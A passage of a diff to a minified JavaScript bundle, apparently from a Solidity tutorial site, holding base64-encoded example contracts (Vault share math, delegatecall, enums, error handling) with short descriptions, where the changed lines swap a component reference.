1NiBfYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgLyoKICAgICAgICBhID0gYW1vdW50CiAgICAgICAgQiA9IGJhbGFuY2Ugb2YgdG9rZW4gYmVmb3JlIGRlcG9zaXQKICAgICAgICBUID0gdG90YWwgc3VwcGx5CiAgICAgICAgcyA9IHNoYXJlcyB0byBtaW50CgogICAgICAgIChUICsgcykgLyBUID0gKGEgKyBCKSAvIEIgCgogICAgICAgIHMgPSBhVCAvIEIKICAgICAgICAqLwogICAgICAgIHVpbnQyNTYgc2hhcmVzOwogICAgICAgIGlmICh0b3RhbFN1cHBseSA9PSAwKSB7CiAgICAgICAgICAgIHNoYXJlcyA9IF9hbW91bnQ7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgc2hhcmVzID0gKF9hbW91bnQgKiB0b3RhbFN1cHBseSkgLyB0b2tlbi5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgfQoKICAgICAgICBfbWludChtc2cuc2VuZGVyLCBzaGFyZXMpOwogICAgICAgIHRva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBfYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50MjU2IF9zaGFyZXMpIGV4dGVybmFsIHsKICAgICAgICAvKgogICAgICAgIGEgPSBhbW91bnQKICAgICAgICBCID0gYmFsYW5jZSBvZiB0b2tlbiBiZWZvcmUgd2l0aGRyYXcKICAgICAgICBUID0gdG90YWwgc3VwcGx5CiAgICAgICAgcyA9IHNoYXJlcyB0byBidXJuCgogICAgICAgIChUIC0gcykgLyBUID0gKEIgLSBhKSAvIEIgCgogICAgICAgIGEgPSBzQiAvIFQKICAgICAgICAqLwogICAgICAgIHVpbnQyNTYgYW1vdW50ID0KICAgICAgICAgICAgKF9zaGFyZXMgKiB0b2tlbi5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSkpIC8gdG90YWxTdXBwbHk7CiAgICAgICAgX2J1cm4obXNnLnNlbmRlciwgX3NoYXJlcyk7CiAgICAgICAgdG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50KTsKICAgIH0KfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CgogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKCiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKCiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpOwoKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc2VuZGVyLCBhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKCiAgICBldmVudCBUcmFuc2ZlcihhZGRyZXNzIGluZGV4ZWQgZnJvbSwgYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50MjU2IGFtb3VudCk7CiAgICBldmVudCBBcHByb3ZhbCgKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsIGFkZHJlc3MgaW5kZXhlZCBzcGVuZGVyLCB1aW50MjU2IGFtb3VudAogICAgKTsKfQo="}],Yb=`
                    Simple example of vault contract, commonly used in DeFi protocols.
                    
+
                    `,Wb=({prev:s,next:a})=>r.jsx(A,{version:mb,title:bb,description:wb,html:Zb,prev:s,next:a,codes:kb}),Bb="0.8.24",Gb="Vault",Vb="Vault",fb=[{fileName:"Vault.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFZhdWx0IHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuOwoKICAgIHVpbnQyNTYgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4pIHsKICAgICAgICB0b2tlbiA9IElFUkMyMChfdG9rZW4pOwogICAgfQoKICAgIGZ1bmN0aW9uIF9taW50KGFkZHJlc3MgX3RvLCB1aW50MjU2IF9zaGFyZXMpIHByaXZhdGUgewogICAgICAgIHRvdGFsU3VwcGx5ICs9IF9zaGFyZXM7CiAgICAgICAgYmFsYW5jZU9mW190b10gKz0gX3NoYXJlczsKICAgIH0KCiAgICBmdW5jdGlvbiBfYnVybihhZGRyZXNzIF9mcm9tLCB1aW50MjU2IF9zaGFyZXMpIHByaXZhdGUgewogICAgICAgIHRvdGFsU3VwcGx5IC09IF9zaGFyZXM7CiAgICAgICAgYmFsYW5jZU9mW19mcm9tXSAtPSBfc2hhcmVzOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQodWludDI1NiBfYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgLyoKICAgICAgICBhID0gYW1vdW50CiAgICAgICAgQiA9IGJhbGFuY2Ugb2YgdG9rZW4gYmVmb3JlIGRlcG9zaXQKICAgICAgICBUID0gdG90YWwgc3VwcGx5CiAgICAgICAgcyA9IHNoYXJlcyB0byBtaW50CgogICAgICAgIChUICsgcykgLyBUID0gKGEgKyBCKSAvIEIgCgogICAgICAgIHMgPSBhVCAvIEIKICAgICAgICAqLwogICAgICAgIHVpbnQyNTYgc2hhcmVzOwogICAgICAgIGlmICh0b3RhbFN1cHBseSA9PSAwKSB7CiAgICAgICAgICAgIHNoYXJlcyA9IF9hbW91bnQ7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgc2hhcmVzID0gKF9hbW91bnQgKiB0b3RhbFN1cHBseSkgLyB0b2tlbi5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgfQoKICAgICAgICBfbWludChtc2cuc2VuZGVyLCBzaGFyZXMpOwogICAgICAgIHRva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBfYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50MjU2IF9zaGFyZXMpIGV4dGVybmFsIHsKICAgICAgICAvKgogICAgICAgIGEgPSBhbW91bnQKICAgICAgICBCID0gYmFsYW5jZSBvZiB0b2tlbiBiZWZvcmUgd2l0aGRyYXcKICAgICAgICBUID0gdG90YWwgc3VwcGx5CiAgICAgICAgcyA9IHNoYXJlcyB0byBidXJuCgogICAgICAgIChUIC0gcykgLyBUID0gKEIgLSBhKSAvIEIgCgogICAgICAgIGEgPSBzQiAvIFQKICAgICAgICAqLwogICAgICAgIHVpbnQyNTYgYW1vdW50ID0KICAgICAgICAgICAgKF9zaGFyZXMgKiB0b2tlbi5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSkpIC8gdG90YWxTdXBwbHk7CiAgICAgICAgX2J1cm4obXNnLnNlbmRlciwgX3NoYXJlcyk7CiAgICAgICAgdG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50KTsKICAgIH0KfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CgogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKCiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKCiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpOwoKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc2VuZGVyLCBhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKCiAgICBldmVudCBUcmFuc2ZlcihhZGRyZXNzIGluZGV4ZWQgZnJvbSwgYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50MjU2IGFtb3VudCk7CiAgICBldmVudCBBcHByb3ZhbCgKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsIGFkZHJlc3MgaW5kZXhlZCBzcGVuZGVyLCB1aW50MjU2IGFtb3VudAogICAgKTsKfQo="}],Yb=`
                    Simple example of vault contract, commonly used in DeFi protocols.
                    
 
                    Most vaults on the mainnet are more complex. Here we will focus on the math for calculating shares to mint on deposit and the amount of token to withdraw.
                    
 
                    How the contract works
                    
 
                      
@@ -7036,7 +7036,7 @@ IERC20 constant PAIR address indexed owner, address indexed spender, uint256 amount
     );
 }
-
                    `,Rb=({prev:s,next:a})=>r.jsx(u,{version:Bb,title:Gb,description:Vb,html:Yb,prev:s,next:a,codes:fb}),Xb="0.8.24",vb="Delegatecall",Nb="Example of how to use deletegatecall in Solidity",Hb=[{fileName:"Delegatecall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIE5PVEU6IERlcGxveSB0aGlzIGNvbnRyYWN0IGZpcnN0CmNvbnRyYWN0IEIgewogICAgLy8gTk9URTogc3RvcmFnZSBsYXlvdXQgbXVzdCBiZSB0aGUgc2FtZSBhcyBjb250cmFjdCBBCiAgICB1aW50MjU2IHB1YmxpYyBudW07CiAgICBhZGRyZXNzIHB1YmxpYyBzZW5kZXI7CiAgICB1aW50MjU2IHB1YmxpYyB2YWx1ZTsKCiAgICBmdW5jdGlvbiBzZXRWYXJzKHVpbnQyNTYgX251bSkgcHVibGljIHBheWFibGUgewogICAgICAgIG51bSA9IF9udW07CiAgICAgICAgc2VuZGVyID0gbXNnLnNlbmRlcjsKICAgICAgICB2YWx1ZSA9IG1zZy52YWx1ZTsKICAgIH0KfQoKY29udHJhY3QgQSB7CiAgICB1aW50MjU2IHB1YmxpYyBudW07CiAgICBhZGRyZXNzIHB1YmxpYyBzZW5kZXI7CiAgICB1aW50MjU2IHB1YmxpYyB2YWx1ZTsKCiAgICBmdW5jdGlvbiBzZXRWYXJzKGFkZHJlc3MgX2NvbnRyYWN0LCB1aW50MjU2IF9udW0pIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICAvLyBBJ3Mgc3RvcmFnZSBpcyBzZXQsIEIgaXMgbm90IG1vZGlmaWVkLgogICAgICAgIChib29sIHN1Y2Nlc3MsIGJ5dGVzIG1lbW9yeSBkYXRhKSA9IF9jb250cmFjdC5kZWxlZ2F0ZWNhbGwoCiAgICAgICAgICAgIGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJzZXRWYXJzKHVpbnQyNTYpIiwgX251bSkKICAgICAgICApOwogICAgfQp9Cg=="}],Fb=`

                    delegatecall is a low level function similar to call.

                    +`,Rb=({prev:s,next:a})=>r.jsx(A,{version:Bb,title:Gb,description:Vb,html:Yb,prev:s,next:a,codes:fb}),Xb="0.8.24",vb="Delegatecall",Nb="Example of how to use deletegatecall in Solidity",Hb=[{fileName:"Delegatecall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIE5PVEU6IERlcGxveSB0aGlzIGNvbnRyYWN0IGZpcnN0CmNvbnRyYWN0IEIgewogICAgLy8gTk9URTogc3RvcmFnZSBsYXlvdXQgbXVzdCBiZSB0aGUgc2FtZSBhcyBjb250cmFjdCBBCiAgICB1aW50MjU2IHB1YmxpYyBudW07CiAgICBhZGRyZXNzIHB1YmxpYyBzZW5kZXI7CiAgICB1aW50MjU2IHB1YmxpYyB2YWx1ZTsKCiAgICBmdW5jdGlvbiBzZXRWYXJzKHVpbnQyNTYgX251bSkgcHVibGljIHBheWFibGUgewogICAgICAgIG51bSA9IF9udW07CiAgICAgICAgc2VuZGVyID0gbXNnLnNlbmRlcjsKICAgICAgICB2YWx1ZSA9IG1zZy52YWx1ZTsKICAgIH0KfQoKY29udHJhY3QgQSB7CiAgICB1aW50MjU2IHB1YmxpYyBudW07CiAgICBhZGRyZXNzIHB1YmxpYyBzZW5kZXI7CiAgICB1aW50MjU2IHB1YmxpYyB2YWx1ZTsKCiAgICBmdW5jdGlvbiBzZXRWYXJzKGFkZHJlc3MgX2NvbnRyYWN0LCB1aW50MjU2IF9udW0pIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICAvLyBBJ3Mgc3RvcmFnZSBpcyBzZXQsIEIgaXMgbm90IG1vZGlmaWVkLgogICAgICAgIChib29sIHN1Y2Nlc3MsIGJ5dGVzIG1lbW9yeSBkYXRhKSA9IF9jb250cmFjdC5kZWxlZ2F0ZWNhbGwoCiAgICAgICAgICAgIGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJzZXRWYXJzKHVpbnQyNTYpIiwgX251bSkKICAgICAgICApOwogICAgfQp9Cg=="}],Fb=`

                    delegatecall is a low level function similar to call.

                    When contract A executes delegatecall to contract B, B's code is executed

                    with contract A's storage, msg.sender and msg.value.

                    // SPDX-License-Identifier: MIT
@@ -7068,7 +7068,7 @@ IERC20 constant PAIR Solidity supports enumerables and they are useful to model choice and keep track of state.
                    
+
                    `,Kb=({prev:s,next:a})=>r.jsx(A,{version:Xb,title:vb,description:Nb,html:Fb,prev:s,next:a,codes:Hb}),Mb="0.8.24",Sb="Enum",xb="Example of enums in Solidity",Jb=[{fileName:"Enum.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEVudW0gewogICAgLy8gRW51bSByZXByZXNlbnRpbmcgc2hpcHBpbmcgc3RhdHVzCiAgICBlbnVtIFN0YXR1cyB7CiAgICAgICAgUGVuZGluZywKICAgICAgICBTaGlwcGVkLAogICAgICAgIEFjY2VwdGVkLAogICAgICAgIFJlamVjdGVkLAogICAgICAgIENhbmNlbGVkCiAgICB9CgogICAgLy8gRGVmYXVsdCB2YWx1ZSBpcyB0aGUgZmlyc3QgZWxlbWVudCBsaXN0ZWQgaW4KICAgIC8vIGRlZmluaXRpb24gb2YgdGhlIHR5cGUsIGluIHRoaXMgY2FzZSAiUGVuZGluZyIKICAgIFN0YXR1cyBwdWJsaWMgc3RhdHVzOwoKICAgIC8vIFJldHVybnMgdWludAogICAgLy8gUGVuZGluZyAgLSAwCiAgICAvLyBTaGlwcGVkICAtIDEKICAgIC8vIEFjY2VwdGVkIC0gMgogICAgLy8gUmVqZWN0ZWQgLSAzCiAgICAvLyBDYW5jZWxlZCAtIDQKICAgIGZ1bmN0aW9uIGdldCgpIHB1YmxpYyB2aWV3IHJldHVybnMgKFN0YXR1cykgewogICAgICAgIHJldHVybiBzdGF0dXM7CiAgICB9CgogICAgLy8gVXBkYXRlIHN0YXR1cyBieSBwYXNzaW5nIHVpbnQgaW50byBpbnB1dAogICAgZnVuY3Rpb24gc2V0KFN0YXR1cyBfc3RhdHVzKSBwdWJsaWMgewogICAgICAgIHN0YXR1cyA9IF9zdGF0dXM7CiAgICB9CgogICAgLy8gWW91IGNhbiB1cGRhdGUgdG8gYSBzcGVjaWZpYyBlbnVtIGxpa2UgdGhpcwogICAgZnVuY3Rpb24gY2FuY2VsKCkgcHVibGljIHsKICAgICAgICBzdGF0dXMgPSBTdGF0dXMuQ2FuY2VsZWQ7CiAgICB9CgogICAgLy8gZGVsZXRlIHJlc2V0cyB0aGUgZW51bSB0byBpdHMgZmlyc3QgdmFsdWUsIDAKICAgIGZ1bmN0aW9uIHJlc2V0KCkgcHVibGljIHsKICAgICAgICBkZWxldGUgc3RhdHVzOwogICAgfQp9Cg=="},{fileName:"EnumDeclaration.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKLy8gVGhpcyBpcyBzYXZlZCAnRW51bURlY2xhcmF0aW9uLnNvbCcKCmVudW0gU3RhdHVzIHsKICAgIFBlbmRpbmcsCiAgICBTaGlwcGVkLAogICAgQWNjZXB0ZWQsCiAgICBSZWplY3RlZCwKICAgIENhbmNlbGVkCn0K"},{fileName:"EnumImport.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FbnVtRGVjbGFyYXRpb24uc29sIjsKCmNvbnRyYWN0IEVudW0gewogICAgU3RhdHVzIHB1YmxpYyBzdGF0dXM7Cn0K"}],zb=`

                    Solidity supports enumerables and they are useful to model choice and keep track of state.

                    Enums can be declared outside of a contract.

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -7134,7 +7134,7 @@ IERC20 constant PAIR contract Enum {
     Status public status;
 }
-
                    `,Db=({prev:s,next:a})=>r.jsx(u,{version:Mb,title:Sb,description:xb,html:zb,prev:s,next:a,codes:Jb}),Eb="0.8.24",Qb="Error",Tb="Example of how to throw errors in Solidity",Ub=[{fileName:"Account.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFjY291bnQgewogICAgdWludDI1NiBwdWJsaWMgYmFsYW5jZTsKICAgIHVpbnQyNTYgcHVibGljIGNvbnN0YW50IE1BWF9VSU5UID0gMiAqKiAyNTYgLSAxOwoKICAgIGZ1bmN0aW9uIGRlcG9zaXQodWludDI1NiBfYW1vdW50KSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgb2xkQmFsYW5jZSA9IGJhbGFuY2U7CiAgICAgICAgdWludDI1NiBuZXdCYWxhbmNlID0gYmFsYW5jZSArIF9hbW91bnQ7CgogICAgICAgIC8vIGJhbGFuY2UgKyBfYW1vdW50IGRvZXMgbm90IG92ZXJmbG93IGlmIGJhbGFuY2UgKyBfYW1vdW50ID49IGJhbGFuY2UKICAgICAgICByZXF1aXJlKG5ld0JhbGFuY2UgPj0gb2xkQmFsYW5jZSwgIk92ZXJmbG93Iik7CgogICAgICAgIGJhbGFuY2UgPSBuZXdCYWxhbmNlOwoKICAgICAgICBhc3NlcnQoYmFsYW5jZSA+PSBvbGRCYWxhbmNlKTsKICAgIH0KCiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50MjU2IF9hbW91bnQpIHB1YmxpYyB7CiAgICAgICAgdWludDI1NiBvbGRCYWxhbmNlID0gYmFsYW5jZTsKCiAgICAgICAgLy8gYmFsYW5jZSAtIF9hbW91bnQgZG9lcyBub3QgdW5kZXJmbG93IGlmIGJhbGFuY2UgPj0gX2Ftb3VudAogICAgICAgIHJlcXVpcmUoYmFsYW5jZSA+PSBfYW1vdW50LCAiVW5kZXJmbG93Iik7CgogICAgICAgIGlmIChiYWxhbmNlIDwgX2Ftb3VudCkgewogICAgICAgICAgICByZXZlcnQoIlVuZGVyZmxvdyIpOwogICAgICAgIH0KCiAgICAgICAgYmFsYW5jZSAtPSBfYW1vdW50OwoKICAgICAgICBhc3NlcnQoYmFsYW5jZSA8PSBvbGRCYWxhbmNlKTsKICAgIH0KfQo="},{fileName:"Error.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEVycm9yIHsKICAgIGZ1bmN0aW9uIHRlc3RSZXF1aXJlKHVpbnQyNTYgX2kpIHB1YmxpYyBwdXJlIHsKICAgICAgICAvLyBSZXF1aXJlIHNob3VsZCBiZSB1c2VkIHRvIHZhbGlkYXRlIGNvbmRpdGlvbnMgc3VjaCBhczoKICAgICAgICAvLyAtIGlucHV0cwogICAgICAgIC8vIC0gY29uZGl0aW9ucyBiZWZvcmUgZXhlY3V0aW9uCiAgICAgICAgLy8gLSByZXR1cm4gdmFsdWVzIGZyb20gY2FsbHMgdG8gb3RoZXIgZnVuY3Rpb25zCiAgICAgICAgcmVxdWlyZShfaSA+IDEwLCAiSW5wdXQgbXVzdCBiZSBncmVhdGVyIHRoYW4gMTAiKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0UmV2ZXJ0KHVpbnQyNTYgX2kpIHB1YmxpYyBwdXJlIHsKICAgICAgICAvLyBSZXZlcnQgaXMgdXNlZnVsIHdoZW4gdGhlIGNvbmRpdGlvbiB0byBjaGVjayBpcyBjb21wbGV4LgogICAgICAgIC8vIFRoaXMgY29kZSBkb2VzIHRoZSBleGFjdCBzYW1lIHRoaW5nIGFzIHRoZSBleGFtcGxlIGFib3ZlCiAgICAgICAgaWYgKF9pIDw9IDEwKSB7CiAgICAgICAgICAgIHJldmVydCgiSW5wdXQgbXVzdCBiZSBncmVhdGVyIHRoYW4gMTAiKTsKICAgICAgICB9CiAgICB9CgogICAgdWludDI1NiBwdWJsaWMgbnVtOwoKICAgIGZ1bmN0aW9uIHRlc3RBc3NlcnQoKSBwdWJsaWMgdmlldyB7CiAgICAgICAgLy8gQXNzZXJ0IHNob3VsZCBvbmx5IGJlIHVzZWQgdG8gdGVzdCBmb3IgaW50ZXJuYWwgZXJyb3JzLAogICAgICAgIC8vIGFuZCB0byBjaGVjayBpbnZhcmlhbnRzLgoKICAgICAgICAvLyBIZXJlIHdlIGFzc2VydCB0aGF0IG51bSBpcyBhbHdheXMgZXF1YWwgdG8gMAogICAgICAgIC8vIHNpbmNlIGl0IGlzIGltcG9zc2libGUgdG8gdXBkYXRlIHRoZSB2YWx1ZSBvZiBudW0KICAgICAgICBhc3NlcnQobnVtID09IDApOwogICAgfQoKICAgIC8vIGN1c3RvbSBlcnJvcgogICAgZXJyb3IgSW5zdWZmaWNpZW50QmFsYW5jZSh1aW50MjU2IGJhbGFuY2UsIHVpbnQyNTYgd2l0aGRyYXdBbW91bnQpOwoKICAgIGZ1bmN0aW9uIHRlc3RDdXN0b21FcnJvcih1aW50MjU2IF93aXRoZHJhd0Ftb3VudCkgcHVibGljIHZpZXcgewogICAgICAgIHVpbnQyNTYgYmFsID0gYWRkcmVzcyh0aGlzKS5iYWxhbmNlOwogICAgICAgIGlmIChiYWwgPCBfd2l0aGRyYXdBbW91bnQpIHsKICAgICAgICAgICAgcmV2ZXJ0IEluc3VmZmljaWVudEJhbGFuY2UoewogICAgICAgICAgICAgICAgYmFsYW5jZTogYmFsLAogICAgICAgICAgICAgICAgd2l0aGRyYXdBbW91bnQ6IF93aXRoZHJhd0Ftb3VudAogICAgICAgICAgICB9KTsKICAgICAgICB9CiAgICB9Cn0K"}],_b=`

                    An error will undo all changes made to the state during a transaction.

                    +`,Db=({prev:s,next:a})=>r.jsx(A,{version:Mb,title:Sb,description:xb,html:zb,prev:s,next:a,codes:Jb}),Eb="0.8.24",Qb="Error",Tb="Example of how to throw errors in Solidity",Ub=[{fileName:"Account.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFjY291bnQgewogICAgdWludDI1NiBwdWJsaWMgYmFsYW5jZTsKICAgIHVpbnQyNTYgcHVibGljIGNvbnN0YW50IE1BWF9VSU5UID0gMiAqKiAyNTYgLSAxOwoKICAgIGZ1bmN0aW9uIGRlcG9zaXQodWludDI1NiBfYW1vdW50KSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgb2xkQmFsYW5jZSA9IGJhbGFuY2U7CiAgICAgICAgdWludDI1NiBuZXdCYWxhbmNlID0gYmFsYW5jZSArIF9hbW91bnQ7CgogICAgICAgIC8vIGJhbGFuY2UgKyBfYW1vdW50IGRvZXMgbm90IG92ZXJmbG93IGlmIGJhbGFuY2UgKyBfYW1vdW50ID49IGJhbGFuY2UKICAgICAgICByZXF1aXJlKG5ld0JhbGFuY2UgPj0gb2xkQmFsYW5jZSwgIk92ZXJmbG93Iik7CgogICAgICAgIGJhbGFuY2UgPSBuZXdCYWxhbmNlOwoKICAgICAgICBhc3NlcnQoYmFsYW5jZSA+PSBvbGRCYWxhbmNlKTsKICAgIH0KCiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50MjU2IF9hbW91bnQpIHB1YmxpYyB7CiAgICAgICAgdWludDI1NiBvbGRCYWxhbmNlID0gYmFsYW5jZTsKCiAgICAgICAgLy8gYmFsYW5jZSAtIF9hbW91bnQgZG9lcyBub3QgdW5kZXJmbG93IGlmIGJhbGFuY2UgPj0gX2Ftb3VudAogICAgICAgIHJlcXVpcmUoYmFsYW5jZSA+PSBfYW1vdW50LCAiVW5kZXJmbG93Iik7CgogICAgICAgIGlmIChiYWxhbmNlIDwgX2Ftb3VudCkgewogICAgICAgICAgICByZXZlcnQoIlVuZGVyZmxvdyIpOwogICAgICAgIH0KCiAgICAgICAgYmFsYW5jZSAtPSBfYW1vdW50OwoKICAgICAgICBhc3NlcnQoYmFsYW5jZSA8PSBvbGRCYWxhbmNlKTsKICAgIH0KfQo="},{fileName:"Error.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEVycm9yIHsKICAgIGZ1bmN0aW9uIHRlc3RSZXF1aXJlKHVpbnQyNTYgX2kpIHB1YmxpYyBwdXJlIHsKICAgICAgICAvLyBSZXF1aXJlIHNob3VsZCBiZSB1c2VkIHRvIHZhbGlkYXRlIGNvbmRpdGlvbnMgc3VjaCBhczoKICAgICAgICAvLyAtIGlucHV0cwogICAgICAgIC8vIC0gY29uZGl0aW9ucyBiZWZvcmUgZXhlY3V0aW9uCiAgICAgICAgLy8gLSByZXR1cm4gdmFsdWVzIGZyb20gY2FsbHMgdG8gb3RoZXIgZnVuY3Rpb25zCiAgICAgICAgcmVxdWlyZShfaSA+IDEwLCAiSW5wdXQgbXVzdCBiZSBncmVhdGVyIHRoYW4gMTAiKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0UmV2ZXJ0KHVpbnQyNTYgX2kpIHB1YmxpYyBwdXJlIHsKICAgICAgICAvLyBSZXZlcnQgaXMgdXNlZnVsIHdoZW4gdGhlIGNvbmRpdGlvbiB0byBjaGVjayBpcyBjb21wbGV4LgogICAgICAgIC8vIFRoaXMgY29kZSBkb2VzIHRoZSBleGFjdCBzYW1lIHRoaW5nIGFzIHRoZSBleGFtcGxlIGFib3ZlCiAgICAgICAgaWYgKF9pIDw9IDEwKSB7CiAgICAgICAgICAgIHJldmVydCgiSW5wdXQgbXVzdCBiZSBncmVhdGVyIHRoYW4gMTAiKTsKICAgICAgICB9CiAgICB9CgogICAgdWludDI1NiBwdWJsaWMgbnVtOwoKICAgIGZ1bmN0aW9uIHRlc3RBc3NlcnQoKSBwdWJsaWMgdmlldyB7CiAgICAgICAgLy8gQXNzZXJ0IHNob3VsZCBvbmx5IGJlIHVzZWQgdG8gdGVzdCBmb3IgaW50ZXJuYWwgZXJyb3JzLAogICAgICAgIC8vIGFuZCB0byBjaGVjayBpbnZhcmlhbnRzLgoKICAgICAgICAvLyBIZXJlIHdlIGFzc2VydCB0aGF0IG51bSBpcyBhbHdheXMgZXF1YWwgdG8gMAogICAgICAgIC8vIHNpbmNlIGl0IGlzIGltcG9zc2libGUgdG8gdXBkYXRlIHRoZSB2YWx1ZSBvZiBudW0KICAgICAgICBhc3NlcnQobnVtID09IDApOwogICAgfQoKICAgIC8vIGN1c3RvbSBlcnJvcgogICAgZXJyb3IgSW5zdWZmaWNpZW50QmFsYW5jZSh1aW50MjU2IGJhbGFuY2UsIHVpbnQyNTYgd2l0aGRyYXdBbW91bnQpOwoKICAgIGZ1bmN0aW9uIHRlc3RDdXN0b21FcnJvcih1aW50MjU2IF93aXRoZHJhd0Ftb3VudCkgcHVibGljIHZpZXcgewogICAgICAgIHVpbnQyNTYgYmFsID0gYWRkcmVzcyh0aGlzKS5iYWxhbmNlOwogICAgICAgIGlmIChiYWwgPCBfd2l0aGRyYXdBbW91bnQpIHsKICAgICAgICAgICAgcmV2ZXJ0IEluc3VmZmljaWVudEJhbGFuY2UoewogICAgICAgICAgICAgICAgYmFsYW5jZTog